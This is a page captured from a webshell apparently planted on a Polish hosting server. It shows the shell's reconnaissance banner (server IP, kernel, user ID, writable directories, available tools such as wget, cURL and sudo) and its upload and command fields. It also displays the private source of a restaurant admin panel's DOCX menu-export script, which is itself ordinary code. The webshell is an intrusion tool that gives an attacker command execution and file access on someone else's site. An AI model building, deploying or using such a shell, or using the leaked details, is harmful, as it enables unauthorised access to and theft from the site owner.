403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/menu-export.php
<?php
declare(strict_types=1);

require_once dirname(__DIR__) . '/includes/functions.php';
require_once dirname(__DIR__) . '/includes/polana_docx_export.php';
require_login();

// Export any saved draft or published card. Never expose drafts publicly.
$user = admin_user();
if (in_array((string)($user['role'] ?? ''), ['manager', 'waiter', 'kitchen'], true)) {
    http_response_code(403);
    exit('Brak uprawnień do eksportu kart menu.');
}

$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
$lang = (string)($_GET['lang'] ?? 'pl');
if (!in_array($lang,['pl','en','es','de'],true)) $lang='pl';
$format = strtolower(trim((string)($_GET['format'] ?? 'docx')));
if (!$id || $id < 1 || $format !== 'docx') {
    http_response_code(400);
    exit('Podaj numer karty i format docx.');
}
$stmt = db()->prepare('SELECT * FROM menus WHERE id = ? LIMIT 1');
$stmt->execute([$id]);
$menu = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$menu) {
    http_response_code(404);
    exit('Karta menu nie istnieje.');
}
$categories = menu_categories_with_items((int)$id, true);
$kind = polana_menu_type((string)($menu['menu_type'] ?? 'food'));
$filename = 'polana-' . $kind . '-' . $lang . '-karta-' . (int)$id . '.docx';
try {
    $bytes = polana_build_menu_docx($categories, $lang, $kind, dirname(__DIR__));
} catch (Throwable $e) {
    error_log('[POLANA_WORD_EXPORT] ' . $e->getMessage());
    http_response_code(500);
    exit('Nie udało się utworzyć pliku DOCX. Skontaktuj się z administratorem strony.');
}
header('Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document');
header('Content-Disposition: attachment; filename="' . $filename . '"');
header('Content-Length: ' . strlen($bytes));
header('X-Content-Type-Options: nosniff');
header('Cache-Control: private, no-store, max-age=0');
header('X-Robots-Tag: noindex, nofollow');
echo $bytes;

Youez - 2016 - github.com/yon3zu
LinuXploit